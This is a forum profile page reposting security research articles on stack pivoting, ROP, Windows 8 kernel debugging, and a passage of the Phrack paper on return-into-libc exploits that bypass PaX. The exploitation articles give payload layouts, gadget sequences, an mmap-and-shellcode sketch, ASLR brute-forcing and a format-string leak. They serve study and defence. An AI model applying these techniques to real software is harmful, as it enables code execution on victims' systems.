Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. [h=3]Stack Pivoting[/h] A common method for an attacker to control program execution involves creating a "fake stack" using attacker-specified values. When the attacker tricks the victim computer into using a fake stack, the attacker can control the program execution, because the call stack specifies the return behavior of the program from its current state(ie all of the function calls and their corresponding contexts that execution has been through in order to get to the current point). Some important things in the stack that can be fabricated include return addresses, and function arguments. Return addresses are important because when the computer executes a "ret" instruction, it basically loads the value at the address pointed to by the ESP register into the EIP register, and makes ESP point to one position lower on the stack. Semantically this means that ESP points to the top of the stack, and the computer "popped" the value off the top of the stack into EIP, which is the instruction pointer register. Another way to say this is that execution "returned" to the address stored at the top of the call stack. This fact is crucial to the way ROP exploits work. Function arguments are also stored on the stack. For example the C code: myFunction(a, b, c, d); translates to the following assembly code: push d push c push b push a call AddressOfmyFunction and the stack right before the call instruction is executed looks like: [TABLE] [TR] [TD]… [/TD] [TD]Lower Memory Addresses [/TD] [/TR] [TR] [TD]Value of a [/TD] [TD]<-ESP points here [/TD] [/TR] [TR] [TD]Value of b [/TD] [TD] [/TD] [/TR] [TR] [TD]Value of c [/TD] [TD] [/TD] [/TR] [TR] [TD]Value of d [/TD] [TD] [/TD] [/TR] [TR] [TD]Previous stack frames [/TD] [TD]Higher Memory Addresses [/TD] [/TR] [/TABLE] If we can specify a fake stack, it's easy to see how we can also control function arguments. Basically, we can fabricate a fake stack to make it look like we pushed values other than d, c, b, and a onto the stack, because every push operation just modifies the stack by making ESP point to 4 bytes higher on the stack, and storing the value we pushed at that location. Fake stacks are extremely useful in ROP exploits, because if we can get execution to occur at a different location with this stack state, we can possibly use these arguments for a function other than myFunction. On the x86 architecture, a stack is basically a set of DWORDS(32 bit values) in sequence, so we create our fake stack in the address space of a program any place where we can get our own sequence of bytes into the address space. This include buffer overflows, and heap sprays. Now the difficult part. If we are using a heap spray, once we have injected our own sequence of bytes representing a fake stack into the address space of the target process, we need to trick the computer into believing that our fake stack should be treated as the real stack. This is a stack pivot, because we are pivoting from the real stack to the fake stack. The basic goal here is to get a value of our choosing into ESP. Any creative attacker can think of many ways to do this. Here are a few possible ways: xchg registerContainingFakeStackAddress, ESP add ESP, SomeConstant //we can execute this multiple times to get our desired value sub ESP, SomeConstant //we can execute this multiple times to get our desired value mov ESP, registerContainingFakeStackAddress hack the function prologue because they modify ESP there hack the function epilogue because they modify ESP there The trick here is to be creative and figure out how any(or any sequence) of instructions can be used to get our desired value into ESP. Posted by Neil Sikka Sursa: InfoSec Research: Stack Pivoting
  2. [h=3]Windows 8 Kernel Debugging[/h] Starting with Windows Vista, Microsoft changed the Windows Boot Manager, thereby changing the way we debug the Windows Kernel. Now, there is a new tool called bcdedit.exe which can be used to modify the boot configuration of a Windows installation. The goal is to set up kernel debugging via virtual serial port, on a Windows 8 guest VM running on a Windows 8 host via the built in Hyper-V that comes with Windows 8. The pipe name will be “debug” in this example. The first step is to enable the COM port of the guest VM in the VM’s settings: Next, enable kernel debugging on the guest VM by running the following commands from an elevated command prompt on the guest: bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 The next step is to prepare the host for debugging the guest VM. The host had the Windows 8 SDK, WDK, Visual Studio 2012, and the Visual Studio 2012 coinstaller installed, in that order. There are 2 ways to debug kernels in guest VMs from a Windows 8 host. The first is to use Visual Studio 2012 (new method), and the second is to Windbg (old method). Visual Studio 2012 now has integrated kernel debugging support using the same debugging engine as Windbg. Once the host machine has everything installed, the steps to debug using Visual Studio 2012, are as follows: Run Visual Studio 2012 as Administrator Under the Tools->Attach to Process window, select "Windows Kernel Mode Debugger" for Transport. Click "Find" next to "Qualifier" In the "Configure Computers" window use the following settings: Transport=Serial Port=\\.\pipe\debug Baud=115200 To use the old Windbg method: Run Windbg as Admin on the host Hit ctrl+k to connect to the serial port exposed by the VM Use the following settings Further Reading: http://msdn.microsoft.com/en-us/library/windows/hardware/ff542279(v=vs.85).aspx http://msdn.microsoft.com/en-us/library/windows/hardware/ff545440(v=vs.85).aspx Posted by Neil Sikka Sursa: InfoSec Research: Windows 8 Kernel Debugging
  3. ROP (Return Oriented Programming) Prerequisite Reading: previous “Stack Pivoting” article Cyber security seems to be an arms race between attackers and defenders (in addition to the arms race between nations). Every time defenders devise a new mechanism to defend computers and mitigate exploits, attackers seem to find a way around it. Such was the case with DEP (Data Execution Prevention). Defenders used this mechanism to prevent execution from regions of memory that were supposed to contain data only rather than code. This was supposed to prevent attackers from executing shellcode from memory structures such as the program stack or the heap. To bypass DEP, the ROP exploitation technique was devised. It is similar to the idea of Ret2LibC [1]. ROP works by taking advantage of the fact that the attacker can manipulate program execution control data. In this technique, the attacker injects a fake call stack and executes a “stack pivot” (see prerequisite reading) to pivot to it. The call stack can be thought of as recording the causality chain [2] that specifies how execution got to its current position (ie which functions called which functions in order to get to the current function). When returning from the current function, the normal call stack serves the purpose of controlling where the execution will return to. For example with the normal stack, the immediate return address is supposed to be in the function that directly called the currently executing function. Rather than pointing in the functions that are part of the current causality chain, each return address in the fake call stack points to what is known as a “ROP Gadget”. A ROP Gadget is any “useful instruction(s)” to an attacker followed by a return instruction. The instruction(s) that are considered “useful” depend on the vulnerability the attacker is trying to exploit. The return instruction gets the next value off of the attacker controlled call stack, which in turn points to the next ROP Gadget to be executed. One crucial property of a ROP gadget is that it must be at a predictable address in memory every time the vulnerable program is executed, so the fake call stack can accurately point to the intended ROP gadgets. A stack pivot gadget is a subset of the more general ROP Gadget in that the useful instruction(s) of a stack pivot gadget switches the value of the ESP register from the real stack to the fake stack. Examples of the stack pivot instructions are given in the prerequisite reading. Here are some examples of general ROP gadgets: push EAX ret pop ECX ret sub EAX, 4 ret pop EBX xor EAX, EAX ret add ECX, 8 ret ROP exploits work because the attacker tricks the machine into using attacker controlled program control data which is injected into a page that’s not necessarily executable. This technically is allowed even with DEP enabled because the fake call stack bytes injected by the attacker are technically not being executed. Rather, they are just controlling where execution of the CPU will go next. In some sense, the attacker is actually turning the process’s address space against itself by using instructions already present in executable sections, but just executing them in different orders to achieve the attacker’s intentions. Often the end goal of ROP exploits is to make executable a currently non-executable region in memory, so that shellcode that has been injected into that region can be executed. This requires a return address on the fake call stack to contain a pointer to a function (such as VirtualProtect) along with the required parameters. The execution of a ROP exploit looks similar to the following once the fake call stack is injected in memory: Execute stack pivot gadget to pass control to the fake call stack Execute a ROP Gadget at the top of the fake callstack Execute “useful instruction(s)" Execute a return instruction If the next return address is another ROP gadget, goes back to step 2.1 Else if the next return address is a function, executes that function using parameters that are on the fake stack Above, step 2.2.1 is implicitly “goto step 2.1” if the return address points to another ROP gadget. This forms a repetitive chain, also known as a “ROP Chain”. A function can be executed if the fake call stack contains the function address and the required parameters (step 2.2.2). An example of a ROP exploit follows. A local variable buffer on the stack has already been overflowed and the return address of the current stack frame has been overwritten with the address of the below stack pivot gadget. That function has already returned to the stack pivot gadget below and the stack pivot instruction below has already been executed. Stack Pivot Gadget: 5c pop ESP //actual stack pivot instruction (already executed) c3 ret //EIP points here. This is the next instruction to be executed Fake Call Stack: ? [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Fake Call stack right before "ret" instruction of the stack pivot gadget is executed[/TD] [/TR] [/TABLE] Above, the ROP exploit is ready to be executed. The ROP exploit leverages a stack based buffer overflow vulnerability (with DEP enabled on the target process) to pop a message box saying “You got pwn3d”, which represents arbitrary code execution. As presented above, the fake call stack has the addresses of various functions to execute, along with arguments to those functions. These steps correspond to 2.2.2 of the ROP execution steps outlined above. Defenders created DEP to stop shellcode execution from data-only regions of memory. Attackers created ROP to bypass DEP. Then, Defenders created ASLR to stop ROP exploits. And so the cyber security arms race goes on and on… References: [1] http://www.phrack.org/issues.html?issue=58&id=4&mode=txt [2] Async Programming - Async Causality Chain Tracking Posted by Neil Sikka Sursa: InfoSec Research: ROP (Return Oriented Programming)
  4. The advanced return-into-lib© exploits: File: archives/58/p58_0x04_Advanced return-into-lib(c) exploits (PaX case study)_by_nergal.txt ==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e |=------------=[ The advanced return-into-lib(c) exploits: ]=------------=| |=------------------------=[ PaX case study ]=---------------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ by Nergal <nergal@owl.openwall.com> ]=--------------=| May this night carry my will And may these old mountains forever remember this night May the forest whisper my name And may the storm bring these words to the end of all worlds Ihsahn, "Alsvartr" --[ 1 - Intro 1 - Intro 2 - Classical return-into-libc 3 - Chaining return-into-libc calls 3.1 - Problems with the classical approach 3.2 - "esp lifting" method 3.3 - frame faking 3.4 - Inserting null bytes 3.5 - Summary 3.6 - The sample code 4 - PaX features 4.1 - PaX basics 4.2 - PaX and return-into-lib exploits 4.3 - PaX and mmap base randomization 5 - The dynamic linker's dl-resolve() function 5.1 - A few ELF data types 5.2 - A few ELF data structures 5.3 - How dl-resolve() is called from PLT 5.4 - The conclusion 6 - Defeating PaX 6.1 - Requirements 6.2 - Building the exploit 7 - Misc 7.1 - Portability 7.2 - Other types of vulnerabilities 7.3 - Other non-exec solutions 7.4 - Improving existing non-exec schemes 7.5 - The versions used 8 - Referenced publications and projects This article can be roughly divided into two parts. First, the advanced return-into-lib(c) techniques are described. Some of the presented ideas, or rather similar ones, have already been published by others. However, the available pieces of information are dispersed, usually platform-specific, somewhat limited, and the accompanying source code is not instructive enough (or at all). Therefore I have decided to assemble the available bits and a few of my thoughts into a single document, which should be useful as a convenient reference. Judging by the contents of many posts on security lists, the presented information is by no means the common knowledge. The second part is devoted to methods of bypassing PaX in case of stack buffer overflow (other types of vulnerabilities are discussed at the end). The recent PaX improvements, namely randomization of addresses the stack and the libraries are mmapped at, pose an untrivial challenge for an exploit coder. An original technique of calling directly the dynamic linker's symbol resolution procedure is presented. This method is very generic and the conditions required for successful exploitation are usually satisfied. Because PaX is Intel platform specific, the sample source code has been prepared for Linux i386 glibc systems. PaX is not considered sufficiently stable by most people; however, the presented techniques (described for Linux on i386 case) should be portable to other OSes/architectures and can be possibly used to evade other non-executability schemes, including ones implemented by hardware. The reader is supposed to possess the knowledge on standard exploit techniques. Articles [1] and [2] should probably be assimilated before further reading. [12] contains a practical description of ELF internals. --[ 2 - Classical return-into-libc The classical return-into-libc technique is well described in [2], so just a short summary here. This method is most commonly used to evade protection offered by the non-executable stack. Instead of returning into code located within the stack, the vulnerable function should return into a memory area occupied by a dynamic library. It can be achieved by overflowing a stack buffer with the following payload: <- stack grows this way addresses grow this way -> ------------------------------------------------------------------ | buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ... ------------------------------------------------------------------ ^ | - this int32 should overwrite saved return address of a vulnerable function buffer fill-up should overwrite saved %ebp placeholder as well, if the latter is used When the function containing the overflown buffer returns, the execution will resume at function_in_lib, which should be the address of a library function. From this function's point of view, dummy_int32 will be the return address, and arg_1, arg_2 and the following words - the arguments. Typically, function_in_lib will be the libc system() function address, and arg_1 will point to "/bin/sh". --[ 3 - Chaining return-into-libc calls ----[ 3.1 - Problems with the classical approach The previous technique has two essential limitations. First, it is impossible to call another function, which requires arguments, after function_in_lib. Why ? When the function_in_lib returns, the execution will resume at address dummy_int32. Well, it can be another library function, yet its arguments would have to occupy the same place that function_in_lib's argument does. Sometimes this is not a problem (see [3] for a generic example). Observe that the need for more than one function call is frequent. If a vulnerable application temporarily drops privileges (for example, a setuid application can do seteuid(getuid())), an exploit must regain privileges (with a call to setuid(something) usually) before calling system(). The second limitation is that the arguments to function_in_lib cannot contain null bytes (in case of a typical overflow caused by string manipulation routines). There are two methods to chain multiple library calls. ----[ 3.2 - "esp lifting" method This method is designed for attacking binaries compiled with -fomit-frame-pointer flag. In such case, the typical function epilogue looks this way: eplg: addl $LOCAL_VARS_SIZE,%esp ret Suppose f1 and f2 are addresses of functions located in a library. We build the following overflow string (I have skipped buffer fill-up to save space): <- stack grows this way addresses grow this way -> --------------------------------------------------------------------------- | f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args... --------------------------------------------------------------------------- ^ ^ ^ | | | | | <---------LOCAL_VARS_SIZE------------->| | |-- this int32 should overwrite return address of a vulnerable function PAD is a padding (consisting of irrelevant nonzero bytes), whose length, added to the amount of space occupied by f1's arguments, should equal LOCAL_VARS_SIZE. How does it work ? The vulnerable function will return into f1, which will see arguments f1_arg, f1_arg2 etc - OK. f1 will return into eplg. The "addl $LOCAL_VARS_SIZE,%esp" instruction will move the stack pointer by LOCAL_VARS_SIZE, so that it will point to the place where f2 address is stored. The "ret" instruction will return into f2, which will see arguments f2_args. Voila. We called two functions in a row. The similar technique was shown in [5]. Instead of returning into a standard function epilogue, one has to find the following sequence of instructions in a program (or library) image: pop-ret: popl any_register ret Such a sequence may be created as a result of a compiler optimization of a standard epilogue. It is pretty common. Now, we can construct the following payload: <- stack grows this way addresses grow this way -> ------------------------------------------------------------------------------ | buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... ------------------------------------------------------------------------------ ^ | - this int32 should overwrite return address of a vulnerable function It works very similarly to the previous example. Instead of moving the stack pointer by LOCAL_VARS_SIZE, we move it by 4 bytes with the "popl any_register" instruction. Therefore, all arguments passed to f1 can occupy at most 4 bytes. If we found a sequence pop-ret2: popl any_register_1 popl any_register_2 ret then we could pass to f1 two arguments of 4 bytes size each. The problem with the latter technique is that it is usually impossible to find a "pop-ret" sequence with more than three pops. Therefore, from now on we will use only the previous variation. In [6] one can find similar ideas, unfortunately with some errors and chaoticly explained. Note that we can chain an arbitrary number of functions this way. Another note: observe that we do not need to know the exact location of our payload (that is, we don't need to know the exact value of the stack pointer). Of course, if any of the called functions requires a pointer as an argument, and if this pointer should point within our payload, we will need to know its location. ----[ 3.3 - frame faking (see [4]) This second technique is designed to attack programs compiled _without_ -fomit-frame-pointer option. An epilogue of a function in such a binary looks like this: leaveret: leave ret Regardless of optimization level used, gcc will always prepend "ret" with "leave". Therefore, we will not find in such binary an useful "esp lifting" sequence (but see later the end of 3.5). In fact, sometimes the libgcc.a archive contains objects compiled with -fomit-frame-pointer option. During compilation, libgcc.a is linked into an executable by default. Therefore it is possible that a few "add $imm, %esp; ret" sequences can be found in an executable. However, we will not %rely on this gcc feature, as it depends on too many factors (gcc version, compiler options used and others). Instead of returning into "esp lifting" sequence, we will return into "leaveret". The overflow payload will consist of logically separated parts; usually, the exploit code will place them adjacently. <- stack grows this way addresses grow this way -> saved FP saved vuln. function's return address -------------------------------------------- | buffer fill-up(*) | fake_ebp0 | leaveret | -------------------------|------------------ | +---------------------+ this time, buffer fill-up must not | overwrite the saved frame pointer ! v ----------------------------------------------- | fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ... -----|----------------------------------------- | the first frame +-+ | v ------------------------------------------------ | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ... -----|------------------------------------------ | the second frame +-- ... fake_ebp0 should be the address of the "first frame", fake_ebp1 - the address of the second frame, etc. Now, some imagination is needed to visualize the flow of execution. 1) The vulnerable function's epilogue (that is, leave;ret) puts fake_ebp0 into %ebp and returns into leaveret. 2) The next 2 instructions (leave;ret) put fake_ebp1 into %ebp and return into f1. f1 sees appropriate arguments. 3) f1 executes, then returns. Steps 2) and 3) repeat, substitute f1 for f2,f3,...,fn. In [4] returning into a function epilogue is not used. Instead, the author proposed the following. The stack should be prepared so that the code would return into the place just after F's prologue, not into the function F itself. This works very similarly to the presented solution. However, we will soon face the situation when F is reachable only via PLT. In such case, it is impossible to return into the address F+something; only the technique presented here will work. (BTW, PLT acronym means "procedure linkage table". This term will be referenced a few times more; if it does not sound familiar, have a look at the beginning of [3] for a quick introduction or at [12] for a more systematic description). Note that in order to use this technique, one must know the precise location of fake frames, because fake_ebp fields must be set accordingly. If all the frames are located after the buffer fill-up, then one must know the value of %esp after the overflow. However, if we manage somehow to put fake frames into a known location in memory (in a static variable preferably), there is no need to guess the stack pointer value. There is a possibility to use this technique against programs compiled with -fomit-frame-pointer. In such case, we won't find leave&ret code sequence in the program code, but usually it can be found in the startup routines (from crtbegin.o) linked with the program. Also, we must change the "zeroth" chunk to ------------------------------------------------------- | buffer fill-up(*) | leaveret | fake_ebp0 | leaveret | ------------------------------------------------------- ^ | |-- this int32 should overwrite return address of a vulnerable function Two leaverets are required, because the vulnerable function will not set up %ebp for us on return. As the "fake frames" method has some advantages over "esp lifting", sometimes it is necessary to use this trick even when attacking a binary compiled with -fomit-frame-pointer. ----[ 3.4 - Inserting null bytes One problem remains: passing to a function an argument which contains 0. But when multiple function calls are available, there is a simple solution. The first few called functions should insert 0s into the place occupied by the parameters to the next functions. Strcpy is the most generic function which can be used. Its second argument should point to the null byte (located at some fixed place, probably in the program image), and the first argument should point to the byte which is to be nullified. So, thus we can nullify a single byte per a function call. If there is need to zero a few int32 location, perhaps other solutions will be more space-effective. For example, sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); will nullify a byte at some_writable_addr and nullify int32 locations at ptr1, ptr2, ptr3, ptr4. Many other functions can be used for this purpose, scanf being one of them (see [5]). Note that this trick solves one potential problem. If all libraries are mmapped at addresses which contain 0 (as in the case of Solar Designer non-exec stack patch), we can't return into a library directly, because we can't pass null bytes in the overflow payload. But if strcpy (or sprintf, see [3]) is used by the attacked program, there will be the appropriate PLT entry, which we can use. The first few calls should be the calls to strcpy (precisely, to its PLT entry), which will nullify not the bytes in the function's parameters, but the bytes in the function address itself. After this preparation, we can call arbitrary functions from libraries again. ----[ 3.5 - Summary Both presented methods are similar. The idea is to return from a called function not directly into the next one, but into some function epilogue, which will adjust the stack pointer accordingly (possibly with the help of the frame pointer), and transfer the control to the next function in the chain. In both cases we looked for an appropriate epilogue in the executable body. Usually, we may use epilogues of library functions as well. However, sometimes the library image is not directly reachable. One such case has already been mentioned (libraries can be mmapped at addresses which contain a null byte), we will face another case soon. Executable's image is not position independent, it must be mmapped at a fixed location (in case of Linux, at 0x08048000), so we may safely return into it. ----[ 3.6 - The sample code The attached files, ex-move.c and ex-frames.c, are the exploits for vuln.c program. The exploits chain a few strcpy calls and a mmap call. The additional explanations are given in the following chapter (see 4.2); anyway, one can use these files as templates for creating return-into-lib exploits. --[ 4 - PaX features ----[ 4.1 - PaX basics If you have never heard of PaX Linux kernel patch, you are advised to visit the project homepage [7]. Below there are a few quotations from the PaX documentation. "this document discusses the possibility of implementing non-executable pages for IA-32 processors (i.e. pages which user mode code can read or write, but cannot execute code in). since the processor's native page table/directory entry format has no provision for such a feature, it is a non-trivial task." "[...] there is a desire to provide some sort of programmatic way for protecting against buffer overflow based attacks. one such idea is the implementation of non-executable pages which eliminates the possibility of executing code in pages which are supposed to hold data only[...]" "[...] possible to write [kernel mode] code which will cause an inconsistent state in the DTLB and ITLB entries.[...] this very same mechanism would allow for creating another kind of inconsistent state where only data read/write accesses would be allowed and code execution prohibited. and this is what is needed for protecting against (many) buffer overflow based attacks." To sum up, a buffer overflow exploit usually tries to run code smuggled within some data passed to the attacked process. The main PaX functionality is to disallow execution of all data areas - thus PaX renders typical exploit techniques useless. --[ 4.2 - PaX and return-into-lib exploits Initially, non-executable data areas was the only feature of PaX. As you may have already guessed, it is not enough to stop return-into-lib exploits. Such exploits run code located within libraries or binary itself - the perfectly "legitimate" code. Using techniques described in chapter 3, one is able to run multiple library functions, which is usually more than enough to take advantage of the exploited program's privileges. Even worse, the following code will run successfully on a PaX protected system: char shellcode[] = "arbitrary code here"; mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset); strcpy(0xaa011000+1, shellcode); return into 0xaa011000+1; A quick explanation: mmap call will allocate a memory region at 0xaa011000. It is not related to any file object, thanks to the MAP_ANON flag, combined with the file descriptor equal to -1. The code located at 0xaa011000 can be executed even on PaX (because PROT_EXEC was set in mmap arguments). As we see, the arbitrary code placed in "shellcode" will be executed. Time for code examples. The attached file vuln.c is a simple program with an obvious stack overflow. Compile it with: $ gcc -o vuln-omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c The attached files, ex-move.c and ex-frames.c, are the exploits for vuln-omit and vuln binaries, respectively. Exploits attempt to run a sequence of strcpy() and mmap() calls. Consult the comments in the README.code for further instructions. If you plan to test these exploits on a system protected with recent version of PaX, you have to disable randomizing of mmap base with $ chpax -r vuln; chpax -r vuln-omit ----[ 4.3 - PaX and mmap base randomization In order to combat return-into-lib(c) exploits, a cute feature was added to PaX. If the appropriate option (CONFIG_PAX_RANDMMAP) is set during kernel configuration, the first loaded library will be mmapped at random location (next libraries will be mmapped after the first one). The same applies to the stack. The first library will be mmapped at 0x40000000+random*4k, the stack top will be equal to 0xc0000000-random*16; in both cases, "random" is a pseudo random unsigned 16-bit integer, obtained with a call to get_random_bytes(), which yields cryptographically strong data. One can test this behavior by running twice "ldd some_binary" command or executing "cat /proc/$$/maps" from within two invocations of a shell. Under PaX, the two calls yield different results: nergal@behemoth 8 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 4b150000-4b166000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4b166000-4b167000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4b167000-4b168000 rw-p 00000000 00:00 0 4b16e000-4b289000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 4b289000-4b28f000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 4b28f000-4b293000 rw-p 00000000 00:00 0 bff78000-bff7b000 rw-p ffffe000 00:00 0 $ exit nergal@behemoth 9 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 48b07000-48b1d000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 48b1d000-48b1e000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 48b1e000-48b1f000 rw-p 00000000 00:00 0 48b25000-48c40000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 48c40000-48c46000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 48c46000-48c4a000 rw-p 00000000 00:00 0 bff76000-bff79000 rw-p ffffe000 00:00 0 CONFIG_PAX_RANDMMAP feature makes it impossible to simply return into a library. The address of a particular function will be different each time a binary is run. This feature has some obvious weaknesses; some of them can (and should be) fixed: 1) In case of a local exploit the addresses the libraries and the stack are mmapped at can be obtained from the world-readable /proc/pid_of_attacked_process/maps pseudofile. If the data overflowing the buffer can be prepared and passed to the victim after the victim process has started, an attacker has all information required to construct the overflow data. For example, if the overflowing data comes from program arguments or environment, a local attacker loses; if the data comes from some I/O operation (socket, file read usually), the local attacker wins. Solution: restrict access to /proc files, just like it is done in many other security patches. 2) One can bruteforce the mmap base. Usually (see the end of 6.1) it is enough to guess the libc base. After a few tens of thousands tries, an attacker has a fair chance of guessing right. Sure, each failed attempt is logged, but even large amount of logs at 2 am prevent nothing Solution: deploy segvguard [8]. It is a daemon which is notified by the kernel each time a process crashes with SIGSEGV or similar. Segvguard is able to temporarily disable execution of programs (which prevents bruteforcing), and has a few interesting features more. It is worth to use it even without PaX. 3) The information on the library and stack addresses can leak due to format bugs. For example, in case of wuftpd vulnerability, one could explore the stack with the command site exec [eat stack]%x.%x.%x... The automatic variables' pointers buried in the stack will reveal the stack base. The dynamic linker and libc startup routines leave on the stack some pointers (and return addresses) to the library objects, so it is possible to deduce the libraries base as well. 4) Sometimes, one can find a suitable function in an attacked binary (which is not position-independent and can't be mmapped randomly). For example, "su" has a function (called after successful authentication) which acquires root privileges and executes a shell - nothing more is needed. 5) All library functions used by a vulnerable program can be called via their PLT entry. Just like the binary, PLT must be present at a fixed address. Vulnerable programs are usually large and call many functions, so there is some probability of finding interesting stuff in PLT. In fact only the last three problems cannot be fixed, and none of them is guaranteed to manifest in a manner allowing successful exploitation (the fourth is very rare). We certainly need more generic methods. In the following chapter I will describe the interface to the dynamic linker's dl-resolve() function. If it is passed appropriate arguments, one of them being an asciiz string holding a function name, it will determine the actual function address. This functionality is similar to dlsym() function. Using the dl-resolve() function, we are able to build a return-into-lib exploit, which will return into a function, whose address is not known at exploit's build time. [12] also describes a method of acquiring a function address by its name, but the presented technique is useless for our purposes. --[ 5 - The dynamic linker's dl-resolve() function This chapter is simplified as much as possible. For the detailed description, see [9] and glibc sources, especially the file dl-runtime.c. See also [12]. ----[ 5.1 - A few ELF data types The following definitions are taken from the include file elf.h: typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; The fields st_size, st_info and st_shndx are not used during symbol resolution. ----[ 5.2 - A few ELF data structures The ELF executable file contains a few data structures (arrays mainly) which are of some interest for us. The location of these structures can be retrieved from the executable's dynamic section. "objdump -x file" will display the contents of the dynamic section: $ objdump -x some_executable ... some other interesting stuff... Dynamic Section: ... STRTAB 0x80484f8 the location of string table (type char *) SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*) .... JMPREL 0x8048750 the location of table of relocation entries related to PLT (type Elf32_Rel*) ... VERSYM 0x80486a4 the location of array of version table indices (type uint16_t*) "objdump -x" will also reveal the location of .plt section, 0x08048894 in the example below: 11 .plt 00000230 08048894 08048894 00000894 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE ----[ 5.3 - How dl-resolve() is called from PLT A typical PLT entry (when elf format is elf32-i386) looks this way: (gdb) disas some_func Dump of assembler code for function some_func: 0x804xxx4 <some_func>: jmp *some_func_dyn_reloc_entry 0x804xxxa <some_func+6>: push $reloc_offset 0x804xxxf <some_func+11>: jmp beginning_of_.plt_section PLT entries differ only by $reloc_offset value (and the value of some_func_dyn_reloc_entry, but the latter is not used for the symbol resolution algorithm). As we see, this piece of code pushes $reloc_offset onto the stack and jumps at the beginning of .plt section. After a few instructions, the control is passed to dl-resolve() function, reloc_offset being one of its arguments (the second one, of type struct link_map *, is irrelevant for us). The following is the simplified dl-resolve() algorithm: 1) calculate some_func's relocation entry Elf32_Rel * reloc = JMPREL + reloc_offset; 2) calculate some_func's symtab entry Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ]; 3) sanity check assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT); 4) late glibc 2.1.x (2.1.92 for sure) or newer, including 2.2.x, performs another check. if sym->st_other & 3 != 0, the symbol is presumed to have been resolved before, and the algorithm goes another way (and probably ends with SIGSEGV in our case). We must ensure that sym->st_other & 3 == 0. 5) if symbol versioning is enabled (usually is), determine the version table index uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ]; and find version information const struct r_found_version *version =&l->l_versions[ndx]; where l is the link_map parameter. The important part here is that ndx must be a legal value, preferably 0, which means "local symbol". 6) the function name (an asciiz string) is determined: name = STRTAB + sym->st_name; 7) The gathered information is sufficient to determine some_func's address. The results are cached in two variables of type Elf32_Addr, located at reloc->r_offset and sym->st_value. 8) The stack pointer is adjusted, some_func is called. Note: in case of glibc, this algorithm is performed by the fixup() function, called by dl-runtime-resolve(). ----[ 5.4 - The conclusion Suppose we overflow a stack buffer with the following payload -------------------------------------------------------------------------- | buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ... -------------------------------------------------------------------------- ^ | - this int32 should overwrite saved return address of a vulnerable function If we prepare appropriate sym and reloc variables (of type Elf32_Sym and Elf32_Rel, respectively), and calculate appropriate reloc_offset, the control will be passed to the function, whose name is found at STRTAB + sym->st_name (we control it of course). Arguments arg1, arg2 will be placed appropriately, and still we have opportunity to return into another function (ret_addr). The attached dl-resolve.c is a sample code which implements the described technique. Beware, you have to compile it twice (see the comments in the README.code). --[ 6 - Defeating PaX ----[ 6.1 - Requirements In order to use the "ret-into-dl" technique described in chapter 5, we need to position a few structures at appropriate locations. We will need a function, which is capable of moving bytes to a selected place. The obvious choice is strcpy; strncpy, sprintf or similar would do as well. So, just like in [3], we will require that there is a PLT entry for strcpy in an attacked program's image. "Ret-into-dl" solves a problem with randomly mmapped libraries; however, the problem of the stack remains. If the overflow payload resides on the stack, its address will be unknown, and we will be unable to insert 0s into it with strcpy (see 3.3). Unfortunately, I haven't come up with a generic solution (anyone?). Two methods are possible: 1) if scanf() function is available in PLT, we may try to execute something like scanf("%s\n",fixed_location) which will copy from stdin appropriate payload into fixed_location. When using "fake frames" technique, the stack frames can be disjoint, so we will be able to use fixed_location as frames. 2) if the attacked binary is compiled with -fomit-frame-pointer, we can chain multiple strcpy calls with the "esp lifting" method even if %esp is unknown (see the note at the end of 3.2). The nth strcpy would have the following arguments: strcpy(fixed_location+n, a_pointer_within_program_image) This way we can construct, byte by byte, appropriate frames at fixed_location. When it is done, we switch from "esp lifting" to "fake frames" with the trick described at the end of 3.3. More similar workarounds can be devised, but in fact they usually will not be needed. It is very likely that even a small program will copy some user-controlled data into a static or malloced variable, thus saving us the work described above. To sum up, we will require two (fairly probable) conditions to be met: 6.1.1) strcpy (or strncpy, sprintf or 